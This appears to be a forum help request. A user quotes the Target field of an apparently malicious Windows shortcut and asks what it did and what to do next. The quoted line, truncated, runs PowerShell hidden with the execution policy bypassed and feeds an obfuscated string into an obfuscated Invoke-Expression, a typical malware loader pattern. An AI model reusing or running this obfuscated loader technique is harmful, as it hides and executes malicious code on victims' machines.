The code in the Target space is:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WINDOWSTYLE H -EXECUTIONPOLICY BYPASS &('i'+''+''+'ex')(&('nb8849852YYrttr66734VZxbPPiw-kjhg898953jHHjhjHHHDbjb8849852YYrttr66734VZxbPPicT'.('re'+'PL'+'Ac'+'e')('b8849852YYrttr66734VZxbPPi', 'e').('re
Does anyone knows what that did to my computer and what are my next steps?